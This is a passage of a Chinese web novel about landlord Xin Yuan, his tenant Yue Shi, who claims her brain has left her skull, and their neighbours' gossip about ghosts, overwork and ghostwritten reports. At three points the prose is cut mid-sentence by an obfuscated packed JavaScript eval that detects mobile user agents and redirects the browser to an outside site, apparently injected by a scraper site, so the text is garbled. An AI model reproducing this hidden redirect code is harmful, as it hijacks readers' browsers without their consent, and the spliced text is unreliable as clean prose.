“……根据我个人的经验,男女之间还是有友情的。 “比如有几个时不时来找我的女青年,像是米笙堇、焦萄,你也认识的。 “你以前可没提过你怀疑她们跟我有什么啊。” 王阿姨: “所以你会在米笙堇她们走过时,默默地看着她们吗? “还一脸若有所思的表情? “你跟她们见面时不都吵吵闹闹的吗? “你还经常因为嫌弃她们太吵,而赶她们走。 “而且她们也很少单独一人来找你,一般都是男男女女一群人来。 “那个气场与一男一女眉来眼去是完全不一样的。 “有的人相处时是男与女的感觉。 “有的人相处时是人与人的感觉。 “这二者的区别你自己体会一下。” 辛远: “好像有点道理。 “等等,不对,我确定我看岳矢时,也极少去考虑她的性别。 “甚至在岳矢给我留下女鬼的心理阴影那段时间,我想她时主要想的也是‘鬼’,而不是‘女’。 “这一点跟我看米笙堇她们是一样的。” 王阿姨: “但你看岳矢的的眼神与看米笙堇她们,以及看你的其他女租户,真的不一样。 “那种眼神,你只在看岳矢时会出现。” 辛远:……您这让我怎么解释呢?我眼神不同只是因为在我眼中,岳矢与其他人,确实存在本质的不同。 辛远一边无法说出秘密,一边又想证明自己的清白,于是指出: “就算有不同,也跟恋爱眼神有区别吧?” 王阿姨: “哎哟哟,眼神这个东西,差别比较明显的能看出来,但你要让我分析出三分邪魅、两分不羁什么的,我可没那本事。” 辛远: “倒也不用看出饼形图……” 辛远与王阿姨聊这些时是在小区的院子里。 准确地说,辛远是和小群内的一群中老年带着各自的凳子椅子坐在院子中一边晒太阳,一边进行日常闲聊。 期间岳矢正好从他们面前路过。 或者说,正因为岳矢从他们面前走过,他们才又聊到了这个话题。 可能是因为听到了自己的名字,岳矢回到家把平衡车、包等东西放好后,又走了出来。 岳矢对王阿姨以及旁边几位虽然今天没有参与此话题、但也乐呵呵在听的中老年们说: “有些话辛远因为比较绅士,所以一直说不出口,那么还是我自己来说吧。 “不好让辛远一直单方面背锅。 “不然老让人误会他对我有恋爱方面的企图,有碍他的桃花。” 王阿姨: “如果你不是他的桃花,那辛远最近就没桃花。” 旁边几人: “对啊对啊。” “小辛恋爱是偶然,单身才是常态。” “小辛每次恋爱都不上心,女方最多忍他一个月就要甩了他。” “有一次我看到辛远的某一任女朋友来找他,应该是下午六点钟左右吧,她问辛远,‘晚上打算吃什么?’ “多正常的一句问话,但你们猜辛远怎么回答的?” 16.16 ☆、坦白事实 爆料者: “辛远说,‘今天晚上我跟其他人有约,晚饭已经提前吃了。你自己考虑你的晚饭吧’。 “他还说‘以后要约饭的话,提前一天说,不然我可能有其他安排。你看你今天不提前约就空跑一趟’。 “啧啧啧,你们听听,这是人话吗? “哪怕不是男女朋友,而就是普通朋友,这么说也未免有些伤对方自尊。 “尤其那小姑娘还说,那天是她与辛远交往满一个月纪念日。 “这下好了,立刻变成分手纪念日。” 其他人: “唉……” “这就叫凭本事单身。” 辛远:……知道你们对我了解透彻,但也不用介绍得这么详细。 岳矢: “辛远自己有单身的本事,是他的能耐,但我作为一个局外人,还是不给他增加更多压力比较好。 “辛远看我的眼神与看其他人的不同是事实。 “但这个事实是基于一个你们其实知道,但没联想到我身上的事件。” 其他人:嗯? 王阿姨:啊。 岳矢: “辛远的那个在全小区流传过的被鬼吓哭的视频,我就是另一个当事人。 “我就是被他误认成鬼,还被他指出能揭开头盖骨、没脑子的那个人。” 王阿姨作证: “对,就是她。 “那天小岳本是顺路打算来看房的。 “发生了误会才延后了看房时间。” 辛远眼神示意岳矢:你就这么说出来真的没问题吗? 岳矢立即给大家指出: “你们看辛远现在的眼神。 “他现在依然觉得,那件事是他的责任,我是无辜受他牵连。 “所以,既然大家都没发现那视频中的另一个主角是我,他便也一直没说。 “甚至,隔壁小区的监控拍到了我那天踩平衡车路过的画面、想当作闹鬼视频传一传,辛远也是作为中间人询问了我的想法。 “等我通过辛远间接告诉隔壁小区的门卫王叔,只要脸够糊,我不介意那视频被传播后,那视频才开始被传。 “整个过程同样没有让除本就知情的辛远、王阿姨之外的人知道那闹鬼视频的主角是我。” 其他人: “咦,那个闹鬼视频……是岳矢你呀……” “我还真没看出来。” “平衡车、白裙子、披散长发,明明岳矢毫不掩饰地在我们面前展现出过这些,但我真没联想到一起。” “因为那个闹鬼视频处理过,调了光线,还配了音乐,看着跟现场肯定不一样。” “就是,那视频上的‘女鬼’裙子是泛着红光的。 “岳矢的白裙子实际上很雅致。” “而且岳矢的长发很顺滑,不像那鬼视频里的……无风自动,跟小蛇似的。” “唉,这年头,静态的照片能作假,动态的视频也处理得看不出原貌。” “只要不是实实在在亲眼所见,就什么都不能信呀。” “不,连亲眼所见也可能是别人故意演给我们看的。” 岳矢: “总之,辛远之所以看我的眼神老是跟看其他女性的不一样,就是因为这些。 “一方面,他把我误认成女鬼过,还被拍到了视频,他觉得对我有愧。 “另一方面,当时的误会并非他故意,他是真的受到了惊吓,所以他之后每次看到我还有点怕。 “本来经过一个月的相处,那些又愧又怕的情绪已经比较淡了,但前几天我续约时,故意做出了与初见那一晚差不多的举动,又把他吓了一大跳。 “所以他又开始怕我了。 “我相信,辛远从小到大,没被其他人这么吓过。 “所以,他看我的眼神自然与看其他人的不一样。” 在场的人纷纷恍然大悟: “原来如此。” 辛远: “……聚集的人是不是越来越多了?” 本来,坐在这里闲聊的只有本小区一些闲着的中老年以及提前过着养老生活的辛远。 但自从岳矢开始爆料,年轻人、小孩子,以及其他小区的人,也聚了过来。 他们还翻出辛远惊恐述说以及女鬼从小区门口飘过的两段视频重温。 隔壁小区正在上班的王叔也跑了过来,面见当事人。 岳矢与王叔打招呼: “你好,你的视频剪辑得很有感觉。” 王叔: “是你底子好。 “我第一次试手,就获得了很多点赞、关注、收藏。 “后来我尝试剪其他视频都没有这个效果,但借着你那视频的余温,也获得了对新手来说很不错的流量。 “我女儿说,说不定我能试试兼职当个UP主。” 岳矢: “恭喜。” 王叔笑呵呵地递给岳矢一袋豌豆尖: “刚摘好的,你尝尝。” 岳矢道谢接过。 也有人追问: “岳矢,你是在辛远家里与他签续约的吧? “那个小空间里你肯定不能使用平衡车,那你是做了什么动作,让辛远又被吓到了? “扮鬼脸?” 班玖: “大半天扮鬼脸有什么好吓人的?” 岳矢笑眯眯: “既然大家都好奇,那我给大家示范一下。” 辛远: “……” 岳矢的左手放到了自己的脑袋上。 手指弯曲,抓住头发。 辛远不自觉地瞪大眼,瞳孔紧锁,身体后仰。 岳矢示意大家看: “这是这样的动作。” 众人看到了,但不理解: “这……为什么值得害怕?” “啊!我知道了,那视频。 “辛远说他看到岳矢揭开了头盖骨。” “还说他看到岳矢的颅腔里是空的。” 岳矢: “是的。 “就是如此。” 岳矢一边说着,一边将手从脑袋上放下来。 没有扯动她那好像很稳定又好像很容易揭开的头盖骨分毫。 辛远松了口气。 又有些恼。 尤其周围人还笑: “看来幻觉后遗症还没消啊。” “说不定会成为终生心理阴影。” 另一人凑到辛远面前,做出与岳矢刚刚相同的动作。 甚至他还真抓着头发往上扯了扯。 辛远不得不承认,一瞬间,他害怕看到又一个能扯开头盖骨、给他看颅腔的妖怪。 而辛远那一瞬的害怕,也被正密切关注着辛远反应的对方及周围不少人看到。 于是他们笑得越发厉害。 辛远:……笑吧。我为你们庆幸,你们根本不知道自己刚刚差点见证了什么。 岳矢也一脸看热闹表情地对着辛远发笑。 让辛远不太能理解她这个妖怪是当真不怕被大众发现吗? 辛远:哦,对,她没脑子,可能是理不清利害关系了。但她刚刚那有条有理的解释,可真不像没脑子的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196516|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 岳矢: “你们笑一下就好了,不要一直笑吧。 “‘害怕某个东西’并不是很可笑的事情。 “哪怕害怕的对象比较小众,但害怕这种情绪本身人主观是很难控制的,并不应该被嘲笑。” 王阿姨咳了一声,发言: “小岳说的没错。 “你们有些人怕蟑螂老鼠蜘蛛,经常还是小辛在帮你们处理。 “他这难得被你们发现个害怕的东西,你们就只笑话他? “还有良心吗?” 其他人: “不是不是,我们没有嘲笑辛远的意思。” “就是……” “突然发现一个比较奇怪的事情,没忍住。” “‘莫名害怕’这个情绪我真的懂。 “比如我怕狗,很小的狗都怕。 “那些喜欢对小狗亲亲摸摸的人不理解我害怕的原因,还非要把他们认为可爱的狗抱到我面前。 “甚至往我怀里塞。 “那场面不仅让我害怕,我还非常气愤。 “恨不得塞一堆蟑螂到他们怀里。 “看他们能不能像他们劝我的那样,做到‘适应一下就会觉得这种生物非常可爱了’。 “呸。古人告诉我们‘己所不欲勿施于人’,可从来没教过我们‘己所欲强施于人’。” “对对对,嘲笑别人的恐惧确实太糟糕了。” “对不起啊,辛房东。” 辛远: “唔,稍微笑一笑也没太大关系。 “在认识岳矢之前,要是有人说我将来会怕看到别人揭开头盖骨,我也会觉得非常好笑。 “比怕鬼更不可思议。” 其他人: “所以现在岳矢踩着平衡车飘过你是不会害怕的对吗?” “白天晚上看到都不会怕?” 辛远: “不会。 “在第一次见到时确实怕了一下,但那种怕是很表层的,确认她不是鬼后就完全不怕了。” 其他人纳闷: “所以难道你不能确定岳矢的头盖骨揭不开吗?” 辛远:……你们这让我怎么回答呢? 有人问岳矢: “我能扯一扯你头顶的头发吗? “稍微用点力的那种扯。 “向辛远证明头盖骨不会因此被扯下来。” 辛远:……不,你们别闹。 岳矢却欣然同意: “可以呀。” 提要求的人: “要是扯痛了你跟我说,我立刻停手。” 岳矢: “没问题。” 其他人: “我们都看着的。” “用没用力很容易看出来。” “肯定不能眼睁睁看着你给岳矢把头发扯断。” “对对对,扯的时候千万小心点,社畜的每一根头发都很宝贵。” 辛远:喂喂喂,你们别真上手啊! 辛远很想阻止。 但在被扯头发的当事人都允许的情况下,辛远并没有立场说不准。 另外,辛远其实也有点想知道,岳矢凭什么敢允许。 是没脑子的她真觉得她没脑子的事实暴露后没啥大问题。 还是…… 事情的发展证实了辛远的猜想。 当天一共有三个人上手扯了岳矢的头发。 岳矢的头盖骨始终纹丝不动。 头发也没被扯下来哪怕半根。 还有人征得岳矢允许后,拨开她的头发,仔仔细细检查她的脑袋。 17.17 ☆、只有同意才能揭开 检查者最终对大家宣布: “没有任何接缝、疤痕或者其他像是能揭开头盖骨的痕迹。 “这就是一颗正常的脑袋。 “如果硬要说有什么特殊,那么应该是发质很好、在脑袋上长得特别牢固。 “作为脱发星人,我很羡慕。 “我要是被人这么折腾头发,非得掉一把。” 辛远自己也凑过去看了,的确没有缝隙。 让辛远差点又一次怀疑起自己幻觉了。 然后赶紧提醒自己:别再怀疑了。不然岳矢搞不好又要对他揭开头盖骨一次进行证明。 一群人闹腾到快吃晚饭的时间才解散、各回各家。 住在门对门的辛远与岳矢自然同路。 辛远邀请: “我点外卖一起吃? “想问你点事。” 并强调: “口头上问,不加行动证明的那种。” 岳矢答应。 这一餐,除了辛远点的外卖外,岳矢还另买了一份脑花。 就是之前她请辛远吃过一次的那家特色脑花。 辛远: “……请问你什么意思?” 岳矢: “吃以泄愤?” 辛远: “我…… “真是谢谢你的体贴了。” 岳矢: “不用这么咬牙切齿嘛。 “今天我表达的整体意思其实是:你不用为了保守这个秘密而感到压力。 “你完全可以大大方方地说出去。 “可以大声告诉别人‘岳矢没有脑子’。” 辛远没好气: “反正没有人会信是吧?” 岳矢: “是呀。 “就像之前的你一样,没看到证据的人们会找各种理由将超出自己认知的信息合理化。 “连看见了证据之后都还能继续找到借口拒绝相信。 “这毕竟是颠覆大家世界观的大事,你想说服大家信才困难,根本不用烦心保密。” 辛远: “我其实并没有烦心为你保密。” 岳矢: “大家调侃你对我另眼相看,你却不解释,这就是在保密呀。 “没必要。你直接告诉他们你对我另眼相看的真正理由就行了。 “至于他们如何理解,那是他们的事情,你也不用操心。” 辛远: “今天之后,不用解释,他们是真的自认为明白了。” 岳矢: “嗯,把这常态化成为我们小区的一个梗。 “然后说的时间越长,大家就会越不当回事。 “秘密就越没有被揭穿的可能。” 辛远: “你这个没脑子的…… “心机可比我深多了。” 岳矢: “因为我的心并没有离家出走?” 辛远: “……” 岳矢: “快吃吧,要冷了。 “尤其脑花,冷了很难吃的。 “我们一人一半怎么样?” 辛远: “你不是看到脑花就反胃吗?” 岳矢: “那只是连续吃的那段时间。 “现在隔了一段时间再吃,就还好。 “我本身还是比较喜欢火锅脑花的味道的。 “那么,你对脑花有心理阴影吗?” 辛远: “脑花又没有吓过我。” 岳矢: “是哦。 “虽然实际上你与我的脑子相遇过,但在你的印象里,你并没有看见它。 “你与我的空颅腔才比较熟。 “所以要是给你一个颅腔形状的碗,你应该会拒绝使用?” 辛远: “……说起来,你那头盖骨是什么回事? “我两次看你揭开时,都很轻松。 “好像轻轻一扯就开了。 “感觉和揭开陶瓷杯盖的力度差不多。 “换成那些人扯,怎么没有丝毫破绽? “一个缝都没有扯出来。” 岳矢: “具体怎么回事我也不知道。 “我只知道结论是:只要我不希望我的头盖骨与我的脑袋分开,那么扯动我头发的力道哪怕大到把我的头皮从头盖骨上扯下来,头盖骨也会纹丝不动。” 辛远: “只要你不同意,就揭不开…… “那么是不是可以理解为:你的脑子离开你脑袋的那天,你同意了它打开头盖骨? “你的脑子应该是打开头盖骨后才离开的吧? “或者存在‘传送’之类的不科学手段?” 岳矢: “我的头盖骨能开门,最初就是为了让我的脑子离开。 “这一点是我的脑子明确告诉我的。 “好像不存在传送。 “我脑子在外一直都是以‘蹦跳’的方式行动的。 “不过还是存在一点不科学因素:我脑子独立行动时带着一个防护罩。 “那个罩子有我脑袋那么大,能防尘、防水、防火等。 “我脑子可以透过那防护罩看清外界,但外界看向那防护罩只能看到透明。 “也就是,我脑子从人旁边蹦跳经过时,人看不见它。 “这一点我也是这两天才知道的。 “要是早知道,我当初就不会追问你有没有看见我脑子了。 “因为答案必然是看不见。” 辛远: “如果你遇到那防护罩,能破解它的防护效果,看见并抓住你的脑子吗?” 岳矢顿了几秒钟,然后回答: “我的脑子说,可以。 “因为我的脑子、我的身体,以及那防护罩,本质上是一体的。 “那防护罩不可能将我与我的脑子隔离开。” 辛远: “这个问题是在我问了之后,你脑子才远程给你答案的?” 岳矢: “是的。” 辛远: “解答速度还挺快。” 岳矢: “有可能它现在就在附近? “也可能它的信息传输能力提升了,意味着它可以跑去距离我更远的地方了?” 辛远: “它在远方看了风景后,能将景色分享给你看吗?” 岳矢: “理论上应该可以。 “但那样岂不是让我掌握了它的行踪? “它在尽量避免发生这事。” 辛远: “如果你的脑子一辈子都流浪在外……” 岳矢: “那我也就只能一辈子做个没脑子的人了。 “其实也挺好的。 “我在不断习惯并享受这样的状态。” 吃完一顿饭,岳矢从辛远家里出来时,正遇到七楼的租户齐促辉回家。 齐促辉对辛远调侃道: “不是说你一看见岳矢就害怕吗?” 辛远: “才几小时啊,就开始谣言演化了? “郑重声明:本人并不怕岳矢本身。 “我只是怕她揭开她的头盖骨。” 岳矢: “然后露出我空空荡荡、没有脑子的颅腔。” 齐促辉哈哈笑。 辛远: “真想知道这个梗你们能笑多久。” 齐促辉: “不好说。 “有些梗说久了后会成为被人嫌弃的恶臭烂梗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202350|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但有些梗时间长了反而会成为经典。 “你们的这个女鬼、掀头盖骨梗,首先,无人受到实际伤害。 “唯一算受伤的只有辛远你的面子。 “那么,只要辛远你不介意,其他人拿这事开玩笑就不会显得恶劣。 “于是,它成为小区经典梗的几率就比较大。” 辛远: “所以你们觉得,我说岳矢‘脑袋空空能养鱼’‘脑子离家出走’,不伤她的面子?” 岳矢: “不伤。 “我承认我是无脑社畜。” 齐促辉脸上的笑容突然凝固,转为丧气: “好端端的,说什么社畜。 “扎心。” 辛远看了眼时间,直击重点: “快八点了,你不会又才下班吧?” 齐促辉: “下班个屁。 “我是在公司加班到七点多,然后离开公司吃饭,再回家继续加班。 “今天不熬到半夜别想完工。 “每天都他扒皮抽筋地想辞职,但现在工作不好找啊……” 岳矢点头: “我这种不用脑子,也很少需要加班的工作尤其难找。 “虽然工资稍微低点,但比较适合养生。” 齐促辉: “唉,我对我这份工作唯一满意的就是薪水了。 “但我总怀疑我是在透支健康换薪水。 “经常担心将来我得把攒的钱全交给医院。” 辛远: “那你悠着点。” 齐促辉: “我再撑几年。 “等感觉身体状态明显下滑时就辞职。 “争取不拖到猝死。 “哎,我是不是差不多该交房租了?” 辛远查了下记录: “你的合同是下周五到期。” 齐促辉: “那这周五就可以交了。 “要不我今天就交了吧? “不然过两天你即使提醒了我,我也可能因为加班忘记。” 辛远: “不行,最多只能提前七天交。 “提前越多,变数越大。 “今天交,要是过两天你突然昏厥入院查出癌症晚期,再过半个月直接抢救无效送火葬场,我非得后悔此刻的违反惯例。 “即使你不是死在我的房子里,但之后有意愿租我房的人一打听,这里的前租户英年早逝,人肯定要嫌晦气。 “然后房子就租不出去,逼得我只能降价。 “太亏。” 齐促辉: “滚蛋。” 齐促辉实在加班任务重,聊了几句后便快步上楼。 岳矢看着齐促辉的背影,对辛远说: “我感觉他的身体除了特别疲劳外,没有其他问题。 “尤其脑子特别健康。” 辛远: “这个检测功能是你没脑子后才出现的,还是有脑子时就有?” 岳矢: “没脑子后才有的。 “准确地说,是近一两周我才发现,我好像多了透视的技能。 “就好像可以隔空虚拟打开别人的头盖骨、胸腔等,看到里面器官的情况。 “甚至不是看到器官们的表层状态,而是直接明白它们有没有病、有没有伤。 “目前还只有当问题比较严重时才能看出来,以后也许能达到检测仪的精度。” 辛远: “所以,齐促辉——就是刚刚那家伙,他住七楼——他的疲劳度已经非常严重?” 岳矢: “如果放到我身上,已经是‘脑子决定罢工且当晚就离家出走’的严重程度。 “我失去我脑子的那天,就是在公司里非常累,回到家又被房东找茬。” 18.18 ☆、一份不用脑的工作 岳矢: “齐促辉比那天的我幸运的是,他的房东不会给他的疲劳度雪上加霜。 “但比我不幸的是,他的公司工作量少说是我的两倍。 “我的工作最累的时候也只累到下班的点。 “下班后即使偶尔有加班的活,一般也只装装样子就好,顶多拖到七八点钟,不会真高强度工作到凌晨。” 辛远: “你这样一说,你失去脑子那天的疲劳度好像也不算很严重。 “比这稍微更严重一点的状况,应该不至于让人猝死?” 岳矢: “那就看各人的承受能力了。 “显然,我是承受能力比较差的那一类。” 辛远: “这可不好说。 “也可能你只是非人能力格外强。 “以至于展现不出你的承受上限。” 岳矢: “都行。 “美好的生活不需要考验上限。 “不用脑子就可以活下去的生活最美好。” 辛远: “……” 辛远发现,岳矢那工作好像是比较悠闲。 每周双休,工作日基本都是早上八点二十出门、下午五点半准时到家。 无论在公司的时间段内工作强度如何,反正岳矢在小区内活动时总是表现得一派平静闲散,有充裕的休息时间。 辛远: “你说你这工作偶尔会加班。” 岳矢: “是呀。 “比如我第一次见到你的那天,就是因为加班,才会在那个时间点过来。” 辛远请教: “所以你这个‘偶尔’加班的频率究竟是?” 岳矢: “因为我做这份工作才两年多,所以我的总结可能不太全面。 “但除去刚开始工作时因为没经验而多做了不少没必要的事情外,正常情况下,平均一季度加班一次吧。” 齐促辉交房租时辛远提及此事,齐促辉一脸的匪夷所思: “她管那叫加班?” 辛远: “客观来说,确实超过了正常上班时间。 “你们正常职工不管这叫加班吗?” 齐促辉: “……算了,不想跟你们这些外行人说这个。 “但我稍微过界地打听一下啊,岳矢的工资是什么档位? “我知道肯定比我低,但看岳矢的生活状态,好像也不算缺钱。 “最起码她那个配置的平衡车,很多刚工作一两年的人是不太舍得买的。” 辛远: “我哪儿知道。 “你自己去问她。 “我只知道她交我房租看起来没压力。” 齐促辉当真去问了。 岳矢回答: “所有收入全部加上,有资格按最低那一档的税率交个人所得税。” 不算加班费和项目奖金,齐促辉光固定基本工资就是岳矢的两倍。 但齐促辉深知以自己的身体情况,他撑死也只能在当前这个岗位上再拼三五年。 齐促辉琢磨着,等他现在这份工作实在撑不住后,找一份岳矢这样的工作感觉应该会很不错。 齐促辉打听: “你这样的工作容易找吗?” 岳矢: “应该不算难? “我糊里糊涂就入职了。 “一开始老板以及老员工对我挑三拣四,还提出我不喜欢的工作要求。 “我有的做到,有的摆烂,有的直接拒绝。 “磨合了一段时间,有几次我还以为会被开除,但逐渐竟然找到了平衡点。 “现在,老板对我越来越满意,同时工作感觉也越来越轻松。” 齐促辉: “就是说,如果没有处理好讨价还价、相互试探底线的过程,你这工作的工作量未必是现在这样?” 岳矢: “对,我同事主动揽了不少活,经常会加班。 “不过她工资之外的收入好像比我多。” 齐促辉: “竟然是份有弹性、可以自主决定工作量的工作。” 岳矢: “因为像个小作坊,管理不怎么完善。 “连我的工资都发错过。 “有一个月少了两百。 “要不是我自己发现不对及时去问,指不定之后我的工资每个月都会少两百。” 齐促辉: “这小作坊不会突然垮掉吧?” 岳矢: “难说。 “反正对这公司的收入情况我是有点怀疑的。 “有可能入不敷出,也可能有违法。 “所以我一边工作着,一边也在留意其他公司的招聘。 “这年头毕竟不能指望一份工作干一辈子嘛,当前干着还行,就先干着吧。” 班玖对此有话说: “我觉得有的工作稳定性还是比较高的。 “比如我这份。” 齐促辉: “你那份…… “稳定倒是稳定,工作量也不算很大。 “唯一的问题是,需要接触的人下限太低。” 班玖: “怎么着,看不起小市民啊? “不就是买菜时非要摊主多搭几根葱的风格嘛,习惯就好。” 齐促辉: “不是葱的问题,是索要葱的那股劲。 “比较起来,闷头独自熬夜修改方案还舒坦些。” 班玖: “方案改完终归是要给甲方及领导看的。 “难不成你觉得甲方撒泼、领导不讲理就好应付了?” 齐促辉: “说来说去,工作中最麻烦的就是与人相处的部分。” 很难参与进工作话题的辛远感觉这一句自己可以接上: “我认为只要挑对了人,与人相处就是很愉快的事情。” 齐促辉: “可别逗了,房东先生。 “能像你这样高标准挑租户,确实能找到让自己愉快的人。 “但问题是,我们这些打工的,从来是被挑挑拣拣的那一方。 “我们最多能挑一挑工作内容的大致方向,可挑不了老板、同事的性情为人。” 班玖: “拥有一栋楼的人,说话底气就是足啊。” 岳矢: “唉。” 辛远看向岳矢: “不是,你跟着叹什么气? “好像你真理解他们的苦恼似的。 “你不是已经放弃思考,还与你那位就喜欢无脑听令做事型员工的老板达成匹配了吗?” 岳矢: “那我也得天天上下班、天天做很多我不感兴趣的事情呀。 “我也想拥有一栋楼,可以天天躺在家里发呆。 “那才叫真正的不用脑。” 班玖: “‘听令做事’这说起来简单,好像只要放弃自己的主见就行。 “但实际上…… “举个例子,老板要求,明天之前把这件事的工作总结写出来。 “理论上,按照格式把事情内容填好就行,但真正写起来…… “事情整体该写到什么程度、哪些不能写、哪些需要适当夸张、那些需要略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207167|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作修饰…… “全都是问题。 “下笔稍微没把握好分寸,老板就会觉得你在跟他作对。” 齐促辉: “我怎么觉得光是写够字数、别让总结看起来只有寒碜的几行,都是个难题呢?” 班玖: “你那个水平等于还没入门,根本不在探讨范围内。” 齐促辉: “又不只我一人是这个水平。 “我的很多同事也经常因为不知道报告该怎么编才能显得丰富一些而挠头啊。 “基本都是到处抄。 “经常抄得前言不搭后语。” 岳矢看着齐促辉,问: “我有没有跟你说过我的工作内容?” 齐促辉: “你说你是文员,主要是整理邮件、文件,还有写点文字材料…… “等等,那个文字材料……” 岳矢: “是的,这个文字材料就包括了总结、申请等。 “按照固定话术、固定格式填,习惯之后基本不用脑。” 齐促辉: “……” 班玖: “我觉得吧,这工作一般人胜任不了。 “它需要一些天赋。 “比如我觉得每年我做了很多事情,但每次写了总结我自己一看,仿佛我一整年都在摸鱼。 “当然,反省一下,可能我摸鱼的时候是挺多的,但有一些与我差不多工作内容的同事写出的总结就比我充实很多。” 岳矢: “下次我可以帮你写。 “不过这是付费项目。 “我给我同事做这类事情都有报价,一般按长度收费。 “这部分额外收入完全覆盖了我每个月的伙食费。 “我可以在同事报价的基础上给你打八折。” 班玖: “太谢谢了,姐。” 辛远提醒: “她比你小。” 班玖坚定: “达者为先。” 齐促辉心动: “那个,项目的总结报告也可以代写吗?” 岳矢: “前提是我得理解你的项目是什么。 “如果过于专业我就写不了。 “像是我们公司研发部门今年做的发电机改进什么的,我甚至连几个改进零件名称里的字都认不全,这个要写…… “也不是完全不行,但我就需要先花时间理解那个东西。 “至少做到表层理解。 “那就是另外的价码了。 “关键是我不想做,太费脑。 “我现在可是个没脑子的人。” 班玖: “对对对,上了年纪后,是越来越不想动脑子了。” 辛远: “作为彻头彻尾的外行人,我提个问题啊。 “写材料究竟难不难? “到底需不需要用脑?” 班玖: “这个问题很难答。 “就相当于学生时代你问同学们数学难不难。 “有些人会回答你:难疯了,根本看不懂,完全无从下笔。 “有些人却会回答你:巨简单,根本不用学,一看就知道答案。 “写材料这事也是这样。 “对有些人来说,就是把套话填入固定格式,完成时长直接等于篇幅除以打字速度。 “而对有些人、多数人,比如我,把常用套话全集放到我面前,让我抄,我都不知道怎么抄才能与我的工作内容扯上关系。” 辛远看向岳矢。 岳矢: “对我来说,这工作就是不用脑。” 19.19 ☆、天赋特长 岳矢: “我高中时写作文就擅于写套话,那个时候主要是套入议论文框架。 “经常被老师说行文毫无感情。 “但老师也说,这种作文的分数非常稳定。 “不可能满分,但也不可能低分。 “求稳的话,这样写不失为一个好选择。 “事实证明,我高考后估分,在作文这一项上极其精准。 “大学后我没有加入学生会,但成为了学生会的外援。 “专门帮他们写材料,赚生活费。 “甚至有时候还会帮老师写。 “后来毕业,我本专业的工作尝试了一下,不太满意,我就辞职,发挥了写材料的特长,改找到了现在这份工作。 “从轻松的角度说,这个选择非常适合我。 “就是,大学专业四年,好像白学了。 “我学的是工科。” 齐促辉: “不,我认为没白学。 “你有工科基础,就意味着一些工科项目你要做到表层理解不会太难。 “就拿你刚才说的发电机改进项目,你如果想理解,花点时间你是可以做到的。 “换言之,如果那个项目的人非常需要你帮他们写材料,愿意花大价钱,你有能力接这活。” 岳矢: “也对。 “可惜他们的需求不是太强烈,最高只肯出价到两千。 “我怜惜我离家出走的脑子,最终还是没接。” 辛远: “如果接,你估计你得花多少时间?” 岳矢: “最起码得一周吧。 “毕竟上班时间无法很专注地学习,就主要只能下班后学。 “我大二时学过一点发电机知识,但考完差不多就忘光了,现在要理解基本得从头学。 “虽然写报告只需要理解个皮毛,但也得保证基本概念正确、不出现理解歪曲。 “要是把转子跟定子混为一谈,写出的报告我不仅赚不到钱,还得赔钱。” 齐促辉: “相当于加班一周额外赚两千,是有点少。” 班玖: “一周两千,一个月八千,可比岳矢的本职工资高。” 齐促辉: “加班工资起码得按三倍算。” 岳矢: “就是,脑力劳动很贵的。 “我的本职工作可不费脑。” 岳矢擅于写材料的事在小区内传开后,连王阿姨都慕名前来尝试求助。 请岳矢帮忙写点有关维修、换新的申请。 王阿姨: “但是我不好直接给你钱,这账没法做。 “你看换成东西行吗? “纸巾、洗衣液、鸡蛋什么的都好说。” 岳矢: “这种几十个字的小申请啊,几个鸡蛋就行。” 半个月后,辛远小区门口那昏暗还会闪的路灯换新了。 原本以为起码要拖到年底的。 辛远非常惊讶: “这真的是岳矢代写的申请的功劳?” 王阿姨: “不然难道能是我的功劳? “你认识我这么些年,我有几分本事、在社区有多少话语权你不知道? “还是你觉得社区的效率突然就这么高了? “你得看到,那路灯还只是暗、闪,可还没灭。 “这毫无疑问是提前更换啊。” 辛远: “不是,那申请我也看了啊,有什么特别的吗?” 王阿姨: “嗯……反正比我写的感觉更正式、更专业。 “比较起来,我写的太口水了。 “而且小岳的那手字特别规整。 “要说多好看倒也不至于,但就是看着舒服、清晰。 “很多人的字看的时候非得连蒙带猜,小岳的字就特别容易辨认。” 辛远还是没法理解。 一个为了陪高三儿子读书而在辛远这里租房的大叔说: “我感觉啊,岳矢写出来的东西,听着很像我儿子政治试卷的答案。 “洋洋洒洒一大堆,读着很有道理,但如果不好好背书、纯靠自己写,就是写不出那个味道。” 岳矢: “套话当然是要背的呀。 “背多了后,组合一下,套入自身情况,就是合格的报告了。” 辛远一直觉得,自己四舍五入也算得上是个学霸。 以前无论什么科目,要说学得多优秀可能未必,但及格从来都是只要辛远想便肯定能办到的。 但对于岳矢的这个特长…… 辛远感觉自己好像真的学不会。 简直没法入门。 岳矢: “不少人都这么说过。” 